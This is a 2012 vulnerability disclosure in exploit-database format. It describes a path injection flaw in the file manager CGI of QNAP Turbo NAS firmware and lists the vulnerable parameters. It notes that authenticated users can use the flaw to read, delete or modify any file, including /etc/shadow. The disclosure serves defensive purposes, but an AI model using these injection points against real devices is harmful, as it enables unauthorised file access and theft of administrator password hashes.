# Exploit Title: QNAP Turbo NAS Multiple Path Injection
# Date: 2012-09-04
# Exploit Author: Andrea Fabrizi
# Vendor Homepage: http://www.qnap.com/
# Version: <= 3.7.3 build 20120801
# Tested on: QNAP TS-1279U-RP

This vulnerability has been discovered on QNAP TS-1279U-RP, but probably
other products that use the same firmware may be affected.

The CGI "/cgi-bin/filemanager/utilRequest.cgi" is prone to a path
injection, which makes it possible,
for authenticated users, to access, delete o modify any file, included
system files, configuration files and
files owned by other users.

Due to the single user configuration of the embedded linux system, it
is possible to access
any system file without restrictions (included /etc/shadow, that
contains the hash of the administrator password).

Vulnerable parameters are (the list is not exhaustive):
/cgi-bin/filemanager/utilRequest.cgi [source_file]
/cgi-bin/filemanager/utilRequest.cgi?func=delete [file_name]
/cgi-bin/filemanager/utilRequest.cgi?func=copy [dest_path]
/cgi-bin/filemanager/utilRequest.cgi?func=move [dest_path]
/cgi-bin/filemanager/utilRequest.cgi?func=get_acl_properties [name]
